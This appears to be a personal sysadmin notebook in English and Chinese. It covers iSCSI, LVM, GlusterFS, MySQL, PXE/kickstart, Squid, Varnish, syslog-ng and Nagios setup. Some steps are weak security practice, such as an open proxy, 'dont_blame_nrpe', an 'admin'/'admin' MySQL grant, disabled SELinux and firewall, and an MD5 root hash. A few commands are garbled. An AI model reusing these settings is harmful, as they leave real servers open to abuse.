node.startup = automatic
node.leading_login = No
iface.hwaddress = <empty>
iface.ipaddress = <empty>
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.ipv6_autocfg = <empty>
iface.linklocal_autocfg = <empty>
iface.router_autocfg = <empty>
iface.ipv6_linklocal = <empty>
iface.ipv6_router = <empty>
iface.state = <empty>
iface.vlan_id = 0
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
node.discovery_address = 192.168.50.21
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.conn[0].address = 192.168.50.21
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD


[root@localhost ~]# iscsiadm -m node -T iqn.2013-03.com.example:server.target1 -p 192.168.50.21 --login
Logging in to [iface: default, target: iqn.2013-03.com.example:server.target1, portal: 192.168.50.21,3260] (multiple)
Login to [iface: default, target: iqn.2013-03.com.example:server.target1, portal: 192.168.50.21,3260] successful.

# Mount it 

mkfs.ext3 /dev/sdd1 mkdir iSCSI mount /dev/sdd1 /iSCSI

blkid /dev/sdd1 echo “UUID=9674832d-c995-4ac8-b6da-0d25efa088d0 /iSCSI ext3 _netdev 0 0” » /etc/fstab





A simple for LVM


# 创建分区 并 将分区类型标识为 lvm 
fdisk /dev/sdb 

# 创建主分区
n p 1

# 将主分区 的 类型 标识为 lvm  将磁盘打上 lvm的系统标签
t 8e 

# 将分区 创建为 lvm系统中的 
pv pvcreate /dev/sdb1

# 创建 虚拟 卷组 nginx_log 。 虚拟 卷组可以将 多个 physical group 组合成一个 大的 逻辑意义上的 虚拟的 磁盘 
vgcreate nginx_log /dev/sdb1 

# 显示 虚拟硬盘 
vgdisplay

# 激活逻辑卷组 
vgchange -a y nginx_log 

# 创建逻辑卷 
lvcreate -l +100%FREE nginx_log

# 格式化 逻辑卷组 
mkfs.ext3 /dev/nginx_log/lvol0

# 创建挂载点 
mkdir /nginx_log

# 挂载 逻辑卷 
mount -t ext3 /dev/nginx_log/lvol0 /nginx_log/


# How to extend it with a disk 2T

# 下面两行命令 是 将心硬盘 sdd 整盘作为一个分区 并打上 LVM 标签 8e
fdisk /dev/sdd
n p 1 回车 回车 t 8e w

# 将 新格式化的 分区 格式化为 pysical volume
pvcreate /dev/sdd1

# 将 pysical volume /dev/sdd1 扩展到 bigdata
vgextend bigdata /dev/sdd1

# 给逻辑卷 /dev/bigdata/lvol0 添加新增的 2TB /dev/sdd1 所有资源
lvextend /dev/bigdata/lvol0 -l +100%FREE

GlusterFS, A great DS System, but it is not just ok until now, 20130402

# Add a new harddisk to the machine

mkdir -p /export/brick1
fdisk /dev/sdb
mkfs.xfs -i size=512 /dev/sdb
echo "/dev/sdb /export/brick1 xfs defaults 1 2" >> /etc/fstab
mount -a && mount

# Install GlusterFS

wget -P /etc/yum.repos.d http://download.gluster.org/pub/gluster/glusterfs/LATEST/EPEL.repo/glusterfs-epel.repo
yum install -y glusterfs{-fuse,-server}
service glusterd start

# Configure

gluster peer probe 192.168.50.21
gluster volume create gv0 replica 2 192.168.50.21:/export/brick1 192.168.50.25:/export/brick1
gluster volume start gv0

# Client mount

mount -t glusterfs node01.yourdomain.net:/gv0 /mnt
for i in `seq -w 1 100`; do cp -rp /var/log/messages* /mnt/copy-test-$i; done





A really good mail script written in php


# Download the script 
cd /bin
wget http://www.myciscolab.net/sources/phpmailer.txt
wget http://www.myciscolab.net/sources/class.smtp.txt
mv phpmailer.txt phpmail
mv class.smtp.txt class.smtp.php
chmod a+x phpmail

# Modify /bin/phpmail

if ( $argv[1] == null || $argv[2] == null || $argv[3]== null ){
echo "Usage: phpmail <aaa@bbb.com> <subject> <body> [attachment]";
echo "\n";
exit;
}

$mail = new PHPMailer();

$mail-> IsSMTP();
$mail->Host = "smtp.exmail.qq.com";
$mail->SMTPAuth = true;
$mail->Username = "aaa@bbb.com";
$mail->Password = "aaa";

$mail->From = "aaa@bbb.com";
$mail->FromName = "aaa";
$mail->AddAddress($argv[1]);

$mail->WordWrap = 50;
if ( $argv[4] == null ) {
$mail->AddAttachment("");
}
else {
$mail->AddAttachment($argv[4]);
}
$mail->IsHTML(true);

$mail->Subject = $argv[2];
$mail->Body = $argv[3];

if(!$mail->Send())
{
echo "Messages could not be send.\n";
echo "Mailer Error:" . $mail->ErrorInfo ."\n";
exit;
}

echo "Message has been sent";
echo "\n";

# Usage
phpmail <aaa@bbb.com> <subject> <body> [attachment]

Mysql some small commands and function about it.

# Dump one database or all the mysql to a sql file

mysqldump -u username -p databasename > somewhere.sql
mysqldump -u root --all-databases > mysql.sql

# Bring a sql file to mysql database
mysqldump -u root -p test < c:\a.sql

# Login Mysql
mysql -u root -p 

# Install Mysql
yum install -y mysql mysql-server

# Privileges
grant all privileges on *.* to admin@localhost identified by 'admin';

# Modify colume
use somedatabase;

alter table 表名 modify column 字段名 类型;
alter table SmokepingResult modify column ISPInfo varchar(100);

# Insert

insert into tablename set column_name=value1,column_name2=value2;
insert into Smokepint set ISPInfo="ChinaCache_BeiJing_58.68.148.25_ChinaMobile";

# Flush logs

shell> mv mysql-query.log mysql-query-old.log
shell> mysqladmin flush-logs
shell> mv mysql-query-old.log backup-directory

# Mysql-Slow Analysis
Edit File : /root/shells/backup_mysqld-slow.sh

#!/bin/bash
cd /var/log/mysqld/
cp -rvf mysqld-slow.log mysqld-slow.log.bak`date +%Y%m%d`
echo "" > mysqld-slow.log

Edit File : /root/shells/analysis_mysqld-slow.sh

#!/bin/bash
cd /var/log/mysqld
date1=`date --date="1 days ago" +%Y%m%d`
date2=`date --date="2 days ago" +%Y%m%d`
daterange="${date2}-${date1}"
filename1=mysqld-slow.log.bak${date1}
filename2=mysqld-slow.log.bak${date2}
echo $filename1
echo $filename2

# 分析
/usr/bin/pt-query-digest ${filename2} ${filename1} > analysis_mysqld-slow.log/${daterange}.txt

# 发送结果
cd /bin/
/usr/bin/php phpmail yonggew@staff.l99.com  "MySQL slow queries For $daterange" "Analysis Result In Attachment!" /var/log/mysqld/analysis_mysqld-slow.log/${daterange}.txt

# Do a cron job

# Added @ For mysqld-slow.log
0 3 * * * /bin/bash /root/shells/backup_mysqld-slow.sh
30 3 */2 * * /bin/bash /root/shells/analysis_mysqld-slow.sh

# If you can't find the mysql-slow log in /var/log/mysql/, you can do the following steps
1. connect to mysql
2. SET GLOBAL slow_query_log = 'OFF';
3. FLUSH LOGS;
4. SET GLOBAL slow_query_log = 'ON';

# If you forget your mysql password

# MySQL 忘记密码
/etc/init.d/mysqld stop
# 安全启动mysql
mysqld_safe --skip-grant-tables &
# 本地链接MySQL
mysql -u root
# flush password
use mysql;
update user set password=PASSWORD("NEW-ROOT-PASSWORD") where User='root';
flush privileges;
quit;
# MySQL restart
/etc/init.d/mysqld restart
# Test
mysql -u root -p


# If you have low memory such as a vps with 128MB memory , you can do the following

Edit File : /etc/mysql/my.cnf
[mysqld]
# #innodb_buffer_pool_size=64M
default-storage-engine = MyISAM
skip-innodb


How to make a PXE Server?

The title is really XXX. The PXE Service has a series small service to comprise. Such as tftp, dhcp , nfs and kickstart cfg file , etc.

# Install Syslinux

yum install -y syslinux
mkdir -p /tftpboot/
cp -rvf /usr/share/syslinux/* /tftpboot/

# Install tftp-server

yum install -y tftp-server
编辑/etc/xinetd.d/tftp 将disable改成no
service xinetd restart

# Install dhcp server
yum install -y dhcp

# Edit File /etc/dhcp/dhcpd.conf

subnet 172.172.172.0 netmask 255.255.255.0 {
subnet-specific parameters...
        range 172.172.172.2 172.172.172.254;
        option domain-name-servers 42.96.162.172;
option routers 172.172.172.1;
        max-lease-time 120;
        default-lease-time 120;
filename "pxelinux.0"
next-server 42.96.162.172;
}

Attention: DHCP配置的时候, subnet一定和 eth0 或者某个接口在同一个网段, 子接口好像有点问题。

# File:  /tftpboot/pxelinux.cfg/default
z
default menu.c32
prompt 0
timeout 600
ONTIMEOUT 5

MENU TITLE PXE Menu

LABEL CentOS 6.3 x86_64 WITH KS eth0
        MENU CentOS 6.3 x86_64 WITH KS eth0
        KERNEL images/centos/6.3/x86_64/vmlinuz
        APPEND ks initrd=images/centos/6.3/x86_64/initrd.img ramdisk_size=100000 ksdevice=eth0 ip=dhcp append ks=nfs:192.168.50.219:/net-install/kickstarts/ks.centos6.3.cfg

# Disable selinux
setenforce 0

# Maybe you can define your own kickstart file with the following installed sdoftware

yum search "kickstart"
yum install system-config-kickstart

# Edit file : /net-install/kickstarts/ks.centos63.cfg

#platform=x86, AMD64, 或 Intel EM64T
#version=DEVEL
# Firewall configuration
firewall --disabled
# Install OS instead of upgrade
install
# Use NFS installation media
nfs --server=192.168.50.219 --dir=/net-install/centos/6.3/x86_64/
# Root password
rootpw --iscrypted $1$LCNmaMaA$gGyp9YjKMWJfrzoLJsWSI1
# System authorization information
auth  --useshadow  --passalgo=md5
# Use text mode install
text
firstboot --disable
# System keyboard
keyboard us
# System language
lang zh_CN
# SELinux configuration
selinux --disabled
# Installation logging level
logging --level=info

# System timezone
timezone  Asia/Shanghai
# Network information
network  --bootproto=dhcp --device=eth0 --onboot=on
# System bootloader configuration
bootloader --location=mbr --driveorder="sda"
# Clear the Master Boot Record
zerombr
# Partition clearing information
clearpart --all --initlabel --drives=sda
# Disk partitioning information
part /boot --asprimary --fstype="ext4" --ondisk=sda --size=200
part swap --fstype="swap" --ondisk=sda --size=10240
part / --fstype="ext4" --grow --ondisk=sda --size=1

reboot

%packages
@base
@basic-desktop
@chinese-support
@client-mgmt-tools
@console-internet
@core
@debugging
@desktop-platform
@development
@fonts
@ftp-server
@general-desktop
@graphical-admin-tools
@graphics
@input-methods
@internet-applications
@internet-browser
@legacy-x
@mail-server
@network-file-system-client
@network-server
@network-tools
@perl-runtime
@php
@remote-desktop-clients
@system-admin-tools
@system-management
@system-management-messaging-server
@system-management-snmp
@web-server
@x11
crypto-utils
%end

# you should exact the iso file to the dir /net-install/centos/6.3/x86_64/
# if the iso is at /tmp/1.iso, the following are commands to do this job.
mkdir -p /net-install/centos/6.3/x86_64/
mkdir /a
mount -o loop /tmp/1.iso /a
cp -rvf /a/* /net-install/centos/6.3/x86_64





The Deep Info about DELL R710 Hardsik led light!



  1. 每秒钟闪动绿色两次 标识驱动器准备好被迁移
  2. 灯灭 驱动器准备好被插入或者迁移
  3. 绿色琥珀色灭 预示着错误
  4. 琥珀色每秒4次 驱动器错误
  5. 慢慢闪动绿色 驱动器重建中
  6. 保持绿色 驱动器在线



IP Address And BGP Number

# How to find the ip or the bgp information

whois -h whois.cymru.com 103.7.28.14
AS | IP | AS Name
132203 | 103.7.28.14 | TENCENT-NET-AP-CN Tencent Building, Kejizhongyi Avenue'


# BGP INformation
http://bgp.he.net/

# China CNNIC
http://www.cnnic.net.cn/jczyfw/ipas/

How to build a simple wiki for yourself knowlege library?

# Install Server software
yum install httpd php

# Download dokuwiki

mkdir -p /www/wiki3.myciscolab.net
chown -R apche:apache /www
cd /www/wiki3.myciscolab.net
wget http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2012-10-13.tgz
tar xzvf dokuwiki-2012-10-13.tgz 
mv dokuwiki-2012-10-13/* .
rm -rvf doliwiki-2012-10-13*



# HTTPD Confiure
Edit File   /etc/httpd/conf/wiki3.myciscolab.net

<VirtualHost 192.168.1.12:80>
ServerName wiki3.myciscolab.net
DocumentRoot "/www/wiki3.myciscolab.net/"

ErrorLog logs/wiki3.myciscolab.net-error.log
CustomLog logs/wiki3.myciscolab.net-access-log combined
RewriteEngine on
RewriteMap escape int:escape
Rewritelog logs/l99.rewrite.log
Rewriteloglevel 0

</VirtualHost>


Edit File : /etc/httpd/conf/httpd.conf
Include "/etc/httpd/conf/wiki3.myciscolab.net";

# DNS Configure
In your dns server
wiki3.myciscolab.net 指向 192.168.1.12

# Backup
mkdir -p ~/backups/wiki2.myciscolab.net/
cd /www/webapps/wiki2.myciscoalb.net/
tar czvf ~/backups/wiki2.myciscolab.net/wiki2.myciscolab.net.bak`date +%Y%m%d`.tar.gz *



Chinese weichuan service ( quick information transmit between every end point)

# Do a simple test
curl --data "ucode=631102&type=10&content=吃饭那" weichuan.cn/api/web/transmit

# Use weichuan for monitor 

# 自动报告ip地址脚本
## 更新 20121121
curl --data "ucode=631102&type=20&content=`ifconfig ppp0 | grep inet | awk '{print $2}'`" weichuan.cn/api/web/transmit
## 更新 20121123
curl --data "ucode=631102&type=20&content=`date && ifconfig ppp0 | grep inet | awk '{print $2}' && echo -n \"OnlineUser:\" && arp -an | grep ether | wc -l` " weichuan.cn/api/web/transmit

curl --data "ucode=zzlyzq&type=20&content=`date && ifconfig ppp0 | grep inet | awk '{print $2}' && echo -n \"OnlineUser:\" && arp -an | grep ether | wc -l` " weichuan.cn/api/web/transmit

/tmp/mnt/sda1/shells/tellme.sh

# Make a cron job on Tomato Router OS
cru a tellme "*20 * * * * /tmp/mnt/sda1/shells/tellme.sh"

# some key words or value or types in weichuan
ucode=631102

# URL
type=10 content=test

# 文字
type=20 content=adsfdsf

# 电话
type=30 content=15901022222

# 其他类型
type=40 content=mailto://zzlyzq@126.com
type=40 content=facetime://zzlyzq@126.com

# curl reference

http://wenku.baidu.com/view/1ae09dd43186bceb19e8bb22.html

Varnish simple usage

# 安装
apt-get install varnish

# 配置

backend test {
       .host = "1.1.1";
       .port = "80";
}

acl purge {
       "localhost";
       "127.0.0.1";
       "10.0.0.0"/24;
}

sub vcl_recv {
       if (req.request == "PURGE") {
               if (!client.ip ~ purge) {
                       error 405 "Not allowed.";
               }
               return (lookup);
       }

       if (req.http.host ~ "test.com") {
               set req.backend = test;
               if (req.request != "GET" && req.request != "HEAD") {
                       return (pipe);
               }
               else {
                       return (lookup);
               }
       }
       else {
               error 404 "This is Cache Server";
               return (lookup);
       }
}

sub vcl_hit {
       if (req.request == "PURGE") {
               set obj.ttl = 0s;
               error 200 "Purged.";
       }
}

sub vcl_miss {
       if (req.request == "PURGE") {
               error 404 "Not in cache.";
       }
}

sub vcl_fetch {
       if (req.request == "GET" && req.url ~ "\.(txt|js)$") {
#               set obj.ttl = 3600s;
       set beresp.ttl = 120 s;
                return (hit_for_pass);

       }
       else {
        #       set obj.ttl = 30d;
set beresp.ttl = 120s;
return (hit_for_pass);
       }
}

Squid3 quid deploy

# 安装
apt-get install squid3

# 配置

http_port 0.0.0.0:3128
acl any src all
http_access allow all
cache_mem 128 MB
maximum_object_size 4096 KB
maximum_object_size_in_memory 4096 KB
#reply_body_max_size 10240000 allow all
access_log /var/log/squid3/access.log squid
visible_hostname 10.0.0.2
cache_dir ufs /var/spool/squid3 1000 16 256
cache_mgr yonggew@staff.l99.com

# 认证

touch /etc/squid/squid_passwd
chmod o+r /etc/squid/squid_passwd
htpasswd /etc/squid/squid_passwd test

寻找一个文件

find / -name ncsa_auth
/usr/lib64/squid/ncsa_auth

配置文件中添加

# For 认证
auth_param basic program /usr/lib64/squid/ncsa_auth /etc/squid/squid_passwd
acl ncsa_users proxy_auth REQUIRED
http_access allow ncsa_users

删掉一个配置
http_access allow all

重启
service squid3 restart

# 测试

squidclient http://www.baidu.com -> 200
squidclient http://www.baidu.com -> 304





A linux command followed with a "|" and a command "nali" And you will know the ip location


cd /usr/local/src
lftp -c "pget -n 10 http://www.myciscolab.net/sources/nali-0.2.tar.gz"
tar xzvf nali-0.2.tar.gz
cd nali-0.2
mkdir -p /usr/local/nali/bin
mkdir -p /usr/local/nali/share
./configure --prefix=/usr/local/nali/ && make && make install
echo "PATH=$PATH:/usr/local/nali/bin" > /etc/profile.d/nali.sh
chmod a+x /etc/profile.d/nali.sh
source /etc/profile.d/nali.sh
#ln -s /root/nali-0.2/share/nali.pl /usr/local/share/nali.pl
ln -s /usr/local/nali/share/nali.pl /usr/local/share/nali.pl
echo "1.1.1.1" | nali

snmpd

# 安装
yum install -y net-snmp net-snmp-utils

# 配置

# File : /etc/snmp/snmpd.conf
com2sec notConfigUser  default       TEST
group   notConfigGroup v1           notConfigUser
group   notConfigGroup v2c           notConfigUser
view    systemview    included   .1.3.6.1.2.1.1
view    systemview    included   .1.3.6.1.2.1.25.1.1
access  notConfigGroup ""      any       noauth    exact  all none none
view all    included  .1                               80
view all    included  .1
view mib2   included  .iso.org.dod.internet.mgmt.mib-2 fc
syslocation Unknown (edit /etc/snmp/snmpd.conf)
syscontact Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
pass .1.3.6.1.4.1.4413.4.1 /usr/bin/ucd5820stat

# Allow Systems Management Data Engine SNMP to connect to snmpd using SMUX
smuxpeer .1.3.6.1.4.1.674.10892.1

# 配置不会在Log中出现太多

#File : /etc/syslog.conf
local0.*                                                /var/log/snmpd.log
#File : /etc/snmp/snmpd.conf
OPTIONS="-Ls 0-4 0 -A -Lf /dev/null -p /var/run/snmpd.pid"
# Command:
service syslog restart
service snmpd restart

System-NG

# 主程序安装

cd /usr/local/src
#wget http://www.myciscolab.net/sources/eventlog_0.2.12.tar.gz
wget http://www.myciscolab.net/sources/eventlog_0.2.12.tar.gz
tar xzvf eventlog_0.2.12.tar.gz
cd eventlog-0.2.12
./configure
make
make install
export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig/

安装syslog-ng
cd /usr/local/src
#lftp -c "pget -n 20 http://www.balabit.com/downloads/files/syslog-ng/open-source-edition/3.2.4/source/syslog-ng_3.2.4.tar.gz"
#wget http://www.myciscolab.net/sources/syslog-ng_3.2.4.tar.gz
wget http://www.myciscolab.net/sources/syslog-ng-3.2.4.tar.gz
#unzip -d . syslog-ng-3.3.zip
tar xzvf syslog-ng-3.2.4.tar.gz
#cd balabit-syslog-ng-3.3-44587f8
cd syslog-ng-3.2.4
./configure --prefix=/usr/local/syslog-ng-3.2.4
make && sudo make install 


# 安装后配置

# 启动脚本 执行文件 建立目录 链接等
cp /usr/local/src/syslog-ng-3.2.4/contrib/rhel-packaging/syslog-ng.init /etc/init.d/syslog-ng
chmod a+x /etc/init.d/syslog-ng
ln -s /usr/local/syslog-ng-3.2.4 /usr/local/syslog-ng
ln -s /usr/local/syslog-ng/sbin/syslog-ng /sbin/syslog-ng
mkdir /usr/local/syslog-ng/var
chkconfig syslog-ng on
service syslog-ng restart

# 客户端配置

# file: /usr/local/syslog-ng/etc/syslog-ng.conf
@version: 3.1
options { long_hostnames(off); flush_lines(0); use_dns(no); use_fqdn(no);
          owner("root"); group("adm"); perm(0640); stats_freq(0);
          bad_hostname("^gconfd$");
};
source test{ file("/var/log/messages" follow_freq(1));};
destination test { syslog("192.168.1.54" transport("tcp") port(555));};
log { source(test); destination(test);};

# 服务端配置

source log51001 {syslog(ip(0.0.0.0) port(51001));};
destination log51001 { file("/logs/1.10/nginx/access.log/${S_YEAR}/${S_MONTH}/access.com.${S_YEAR}${S_MONTH}${S_DAY}.log" template(template_standard)); };
log{source(log51001);destination(log51001);};

# 启动脚本

# syslog-ng启动脚本
#!/bin/bash
#
# syslog-ng     This starts and stops syslog-ng
#
# chkconfig:    2345 12 88
# description:  syslog-ng is an alternative system logger
# processname:  syslog-ng
# pidfile:      /var/run/syslog-ng.pid
### BEGIN INIT INFO
# Provides: $syslog-ng
### END INIT INFO

# Source function library.
. /etc/init.d/functions

binary="/sbin/syslog-ng"

[ -x $binary ] || exit 0

RETVAL=0

start() {
        echo -n "Starting syslog-ng: "
        daemon $binary
        RETVAL=$?
        echo
        [ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog-ng
}

stop() {
        echo -n "Shutting down syslog-ng: "
        killproc syslog-ng
        RETVAL=$?
        echo
        if [ $RETVAL -eq 0 ]; then
                rm -f /var/lock/subsys/syslog-ng
                rm -f /var/run/syslog-ng.pid
        fi
}

restart() {
        echo -n "Restarting syslog-ng: "
        $binary --syntax-only
        RETVAL=$?
        echo
        if [ $RETVAL -eq 0 ]; then
                stop
                sleep 2
                start
        fi
}

reload() {
        echo -n "Reloading syslog-ng: "
        $binary --syntax-only
        RETVAL=$?
        if [ $RETVAL -eq 0 ]; then
                killproc syslog-ng -1
        fi
}

case "$1" in
        start)
                start
                ;;
        stop)
                stop
                ;;
        status)
                status syslog-ng
                ;;
        restart)
                restart
                ;;
        reload)
                reload
                ;;
        condrestart)
                [ -f /var/lock/subsys/syslog-ng ] && restart
                ;;
        *)
                echo "Usage: $0 {start|stop|status|restart|reload|condrestart}"
                ;;
esac




Cacti

# 因磁盘写满 导致 Cacti 不出图

mysql -u cactiuser -p cacti
cacti
use cacti;
drop table poller_output;
show tables;

CREATE TABLE `poller_output` (
  `local_data_id` mediumint(8) unsigned NOT NULL DEFAULT '0',
  `rrd_name` varchar(19) NOT NULL DEFAULT '',
  `time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `output` text NOT NULL,
  PRIMARY KEY (`local_data_id`,`rrd_name`,`time`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

因为 磁盘用完,mysql无法使用, 造成cacti.poller_output table 出现问题, 最终不能 将采集到得数据放到 poller_output 表 导致 看不到数据
http://forums.cacti.net/viewtopic.php?f=12&t=30085



Nagios

Define User
# 先定义user
define contact{
        contact_name   A
        alias   A
        email   A.test.com
        address1      112312312315
        host_notifications_enabled     1
        host_notification_options       d,u,r,f,s
        host_notification_period        24x7
        host_notification_commands      notify-host-by-email,notify-by-sms
        service_notifications_enabled         1
        service_notification_period     24x7
        service_notification_options    w,u,c,r,f,s
        service_notification_commands   notify-service-by-email,notify-by-sms
        }

# 把user加入到 group
define contactgroup {
        contactgroup_name vip
        members A
}

# 服务中定义
# Define CheckTCP8080
define service {
use centos-service
host_name 192.168.1.29
service_description CheckTCP8080
check_command check_tcp!8080
normal_check_interval 2
contact_groups vip
notifications_enabled 1
}

客户端
# Nagios 报警
yum install openssl-devel
# Add User 新建该用户的时候 自动建立 id 为 1200 的 组
useradd -M -u 1101 -s /sbin/nologin nagios
# Install nrpe-2.13
cd /usr/local/src
wget http://www.myciscolab.net/sources/nrpe-2.13.tar.gz
tar xzvf nrpe-2.13.tar.gz
cd nrpe-2.13
./configure --with-nagios-user=nagios --with-nagios-group=nagios --prefix=/usr/local/nagios --enable-command-args
make all && make install-plugin && make install-daemon && make install-daemon-config && make install-xinetd
# Install nagios-plugins
cd /usr/local/src
wget http://www.myciscolab.net/sources/nagios-plugins-1.4.11.tar.gz
tar xzvf nagios-plugins-1.4.11.tar.gz
cd nagios-plugins-1.4.11
./configure --with-nagios-user=nagios --with-nagios-group=nagios --prefix=/usr/local/nagios
make && make install
# 配置文件 /usr/local/nagios/etc/nrpe.cfg
echo '' > /usr/local/nagios/etc/nrpe.cfg
echo 'log_facility=daemon' >> /usr/local/nagios/etc/nrpe.cfg
echo 'pid_file=/var/run/nrpe.pid' >> /usr/local/nagios/etc/nrpe.cfg
echo 'server_port=5666' >> /usr/local/nagios/etc/nrpe.cfg
echo 'nrpe_user=nagios' >> /usr/local/nagios/etc/nrpe.cfg
echo 'nrpe_group=nagios' >> /usr/local/nagios/etc/nrpe.cfg
echo 'allowed_hosts=127.0.0.1' >> /usr/local/nagios/etc/nrpe.cfg
echo 'dont_blame_nrpe=1' >> /usr/local/nagios/etc/nrpe.cfg
echo 'debug=0' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command_timeout=60' >> /usr/local/nagios/etc/nrpe.cfg
echo 'connection_timeout=300' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_zombie_procs]=/usr/local/nagios/libexec/check_procs -w $ARG1$ -c $ARG2$ -s Z' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_total_procs]=/usr/local/nagios/libexec/check_procs -w $ARG1$ -c $ARG2$' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_memory]=/usr/local/nagios/libexec/check_memory -w $ARG1$ -c $ARG2$' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_swap]=/usr/local/nagios/libexec/check_swap -w $ARG1$ -c $ARG2$' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_dns]=/usr/local/nagios/libexec/check_dns -H $ARG1$ -s $ARG2$ -a $ARG3$' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$' >> /usr/local/nagios/etc/nrpe.cfg
echo 'command[check_load]=/usr/local/nagios/libexec/check_load -w $ARG1$ -c $ARG2$' >> /usr/local/nagios/etc/nrpe.cfg
# 下载Check脚本
# 脚本 check_memory
cd /usr/local/nagios/libexec/
wget http://www.myciscolab.net/sources/check_memory
chmod a+x /usr/local/nagios/libexec/check_memory
# Modify nrpe access ips
sed -i -e "s/127.0.0.1/127.0.0.1\ 192.168.199.1\ 192.168.200.1\ 211.103.199.27/g" /etc/xinetd.d/nrpe
#
echo 'nrpe 5666/tcp # nrpe' >> /etc/services
# Restart Server
service xinetd restart



服务器端配置 Client监控
# nagios 服务器端配置
define host{
        use centos-host
        host_name       192.168.199.10_n1.lb.l99.com
        alias n1.lb.l99.com
        address 192.168.199.10
        }

# Define CheckPing
define service{
        use                             centos-service
        host_name                       192.168.199.10_n1.lb.l99.com
        service_description             CheckPing
        check_command                   check_ping!100.0,20%!500.0,60%
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1
}
# Define CheckSSHD6022
define service{
        use     centos-service
        host_name    192.168.199.10_n1.lb.l99.com
        service_description     CheckSSHD6022
        check_command   check_tcp!6022
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1
}                                                       #
# Define CheckMemory
define service{
        use centos-service
        host_name  192.168.199.10_n1.lb.l99.com
        service_description CheckMemory
        check_command check_nrpe2!check_memory!80!90
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1     
}

# Define CheckLoad
define service{
        use centos-service
        host_name 192.168.199.10_n1.lb.l99.com
        service_description CheckLoad
        check_command check_nrpe2!check_load!15,10,5!30,25,20
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1
}

# Define CheckDiskRoot
define service{
        use centos-service
        host_name 192.168.199.10_n1.lb.l99.com
        service_description CheckDiskRoot
        check_command check_nrpe3!check_disk!30%!15%!/
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1     
}

# Define CheckDiskNginxLog     _               
define service{
        use centos-service
        host_name 192.168.199.10_n1.lb.l99.com
        service_description CheckDiskNginx_log
        check_command check_nrpe3!check_disk!30%!15%!/nginx_log
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 0
}

# Define CheckSwap
define service {
        use centos-service
        host_name 192.168.199.10_n1.lb.l99.com
        service_description CheckSwap
        check_command check_nrpe2!check_swap!98%!80%
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1
}

# Define CheckActiveUsers
define service {
        use centos-service
        host_name 192.168.199.10_n1.lb.l99.com
        service_description CheckActiveUsers
        check_command check_nrpe2!check_users!1!3
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 0
}

# Define CheckZombieProcs
define service {
        use centos-service
        host_name 192.168.199.10_n1.lb.l99.com
        service_description CheckZombieProcess
        check_command check_nrpe2!check_zombie_procs!1!4             
        normal_check_interval 2
        contact_groups centos-admins
        notifications_enabled 1
}

自定义命令
define command{
        command_name    notify-service-by-email
        command_line    /usr/bin/php /bin/phpmail $CONTACTEMAIL$ "** $NOTIFICATIONTYPE$ Service Alert: $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" `/usr/bin/printf "%b" "***** Nagios ***** Notification Type: $NOTIFICATIONTYPE$ Service: $SERVICEDESC$ Host: $HOSTALIAS$ Address: $HOSTADDRESS$ State: $SERVICESTATE$ Date/Time: $LONGDATETIME$ Additional Info: $SERVICEOUTPUT$ "` /bin/1.txt
        }